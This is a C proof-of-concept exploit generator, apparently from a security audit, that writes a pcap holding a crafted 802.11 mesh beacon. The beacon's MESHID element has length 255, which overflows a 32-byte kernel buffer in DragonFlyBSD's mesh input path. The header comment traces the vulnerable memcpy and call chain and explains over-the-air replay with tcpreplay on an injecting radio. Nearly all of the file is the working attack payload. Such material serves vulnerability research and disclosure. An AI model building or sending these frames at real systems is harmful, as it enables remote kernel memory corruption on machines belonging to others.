DF-0285 / frame_craft.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 | /* * frame_craft.c - DF-0285 attacker-payload generator * * Produces the EXACT 802.11 mesh beacon that, when received by a DragonFlyBSD * vap in MBSS (mesh) mode, drives a malformed MESHID Information Element through * ieee80211_input.c's beacon IE parser into ieee80211_parse_meshid() and fires * the heap overflow at ieee80211_mesh.c:3460: * * memcpy(ni->ni_meshid, ie + 2, ie[1]); // ie[1] unchecked, up to 255 * * Output: a pcap (libpcap 2.4 magic, link-layer DLT_IEEE802_11 = 105) written * to stdout containing ONE beacon frame whose MESHID IE has length byte 0xFF * (255) and an attacker-chosen 253-byte body (a recognizable marker pattern so * the overflowed bytes are identifiable in a kernel memory dump). * * DELIVERY (NOT possible on this audit guest -- no wifi hardware): * This pcap is replayed via a real 802.11 radio in monitor+inject mode, e.g. * tcpreplay -i wlan0mon df0285_beacon.pcap (Linux, ath9k) * or fed straight to an injecting driver. On receipt by a DragonFly mesh vap * the kernel calls ieee80211_parse_beacon -> stores scan->meshid (input.c:622) * -> ieee80211_mesh_init_neighbor -> ieee80211_parse_meshid -> overflow. * * This program is a *deterministic byte-level artifact builder*. It builds and * prints the frame and writes the pcap; it does not touch any kernel. Run it * anywhere; the bytes are the proof of the attacker payload. * * Build: see build.sh * Run: ./frame_craft > df0285_beacon.pcap ; xxd df0285_beacon.pcap */ #include <stdint.h> #include <stdio.h> #include <string.h> #include <stdlib.h> /* ---- pcap file header (libpcap native, little-endian) ---- */ struct pcap_sf_pkthdr { uint32_t magic; /* 0xa1b2c3d4 */ uint16_t version_major, version_minor; int32_t thiszone; uint32_t sigfigs; uint32_t snaplen; uint32_t linktype; /* 105 = DLT_IEEE802_11 */ }; struct pcaprec { uint32_t ts_sec, ts_usec; uint32_t incl_len, orig_len; }; /* minimal 802.11 IE / frame constants we need */ #define IEEE80211_FC0_SUBTYPE_BEACON 0x08 #define IEEE80211_FC0_TYPE_MGT 0x00 #define IEEE80211_FC0_VERSION_0 0x00 #define IEEE80211_ELEMID_SSID 0x00 #define IEEE80211_ELEMID_RATES 0x01 #define IEEE80211_ELEMID_DS 0x03 #define IEEE80211_ELEMID_MESHID 114 /* 0x72, DragonFly's mesh ID */ #define IEEE80211_ELEMID_MESHCONF 115 /* attacker-controlled MESHID IE length. 0xFF (255) is the worst case: it * overflows ni_meshid[32] by 223 bytes. Anything in (32..255] triggers it. */ #define ATTACK_MESHID_LEN 0xFF static uint8_t frame[2048]; static size_t flen; static void putb(uint8_t v){ frame[flen++] = v; } static void put16(uint16_t v){ putb(v & 0xff); putb((v>>8)&0xff); putb(0); putb(0); } /* LE-ish timestamps only */ static void putbuf(const uint8_t *p, size_t n){ memcpy(frame+flen, p, n); flen += n; } int main(int argc, char **argv) { const char *out = argc > 1 ? argv[1] : "df0285_beacon.pcap"; FILE *f = strcmp(out,"-")==0 ? stdout : fopen(out, "wb"); if (!f) { perror(out); return 1; } /* ---- build the 802.11 management beacon frame ---- */ /* Frame Control: type=MGT(0), subtype=BEACON(8), version 0 */ putb(IEEE80211_FC0_VERSION_0 | IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_BEACON); putb(0x00); /* duration / flags */ uint8_t addr1[6] = {0xff,0xff,0xff,0xff,0xff,0xff}; /* DA = broadcast */ uint8_t addr2[6] = {0x02,0x00,0x00,0x00,0x00,0x01}; /* SA = attacker "mesh peer" */ uint8_t addr3[6] = {0x02,0x00,0x00,0x00,0x00,0x01}; /* BSSID */ putbuf(addr1,6); putbuf(addr2,6); putbuf(addr3,6); put16(0); /* this is a hack for seq ctrl; use real 2-byte seq below */ /* fix: seq ctl is 2 bytes, not 4. rewind and write properly */ flen -= 4; /* undo the bogus put16 */ putb(0x00); putb(0x00); /* seq ctl */ /* ---- fixed fields (beacon body) ---- */ /* timestamp: 8 bytes */ putbuf((uint8_t[]){0,0,0,0,0,0,0,0}, 8); put16(0x0064); /* beacon interval = 100 TU (LE: 64 00) -- write 2 bytes */ flen -= 2; putb(0x64); putb(0x00); /* 2-byte LE beacon interval */ /* capability info: 0x0800 = ESS short-preamble-ish; 2 bytes LE */ putb(0x00); putb(0x08); /* ---- Information Elements ---- */ /* SSID (wildcard, len 0) -- required for parse */ putb(IEEE80211_ELEMID_SSID); putb(0); /* Supported rates (1 byte payload to satisfy parser) */ putb(IEEE80211_ELEMID_RATES); putb(1); putb(0x82); /* DS params (channel) */ putb(IEEE80211_ELEMID_DS); putb(1); putb(6); /* === THE WEAPONIZED IE === MESHID with length 0xFF === */ size_t ie_off = flen; putb(IEEE80211_ELEMID_MESHID); /* ie[0] = element id */ putb(ATTACK_MESHID_LEN); /* ie[1] = 255 <-- the unchecked length */ /* 253-byte body. First 32 bytes fill ni_meshid legally; the remaining 223 * bytes are the overflow. We use a marker so the OOB bytes are visible in * a kernel dump: 0x41 ringed with a 4-byte tag at the overflow start. */ putbuf((const uint8_t*)"DF285", 5); /* tag so we can find it */ for (int i = 0; i < ATTACK_MESHID_LEN - 5; i++) putb(0x41); /* 250 bytes of 'A' */ size_t ie_end = flen; fprintf(stderr, "[frame_craft] MESHID IE at frame offset %zu, id=0x%02x len=%u, body=%zu bytes\n", ie_off, IEEE80211_ELEMID_MESHID, ATTACK_MESHID_LEN, ie_end - ie_off - 2); /* ---- write pcap ---- */ struct pcap_sf_pkthdr ph; ph.magic = 0xa1b2c3d4; ph.version_major = 2; ph.version_minor = 4; ph.thiszone = 0; ph.sigfigs = 0; ph.snaplen = 65535; ph.linktype = 105; struct pcaprec rec = { 0, 0, (uint32_t)flen, (uint32_t)flen }; fwrite(&ph, sizeof ph, 1, f); fwrite(&rec, sizeof rec, 1, f); fwrite(frame, 1, flen, f); if (f != stdout) fclose(f); fprintf(stderr, "[frame_craft] wrote %zu-byte beacon frame to %s (pcap DLT 105)\n", flen, out); fprintf(stderr, "[frame_craft] TRIGGER: on a DragonFly MBSS vap, receipt of this frame\n"); fprintf(stderr, " overflows ni_meshid[32] by 223 bytes into ni_mltimer/.toc.\n"); fprintf(stderr, "[frame_craft] NOTE: no wifi HW on this audit guest => not delivered here.\n"); return 0; } |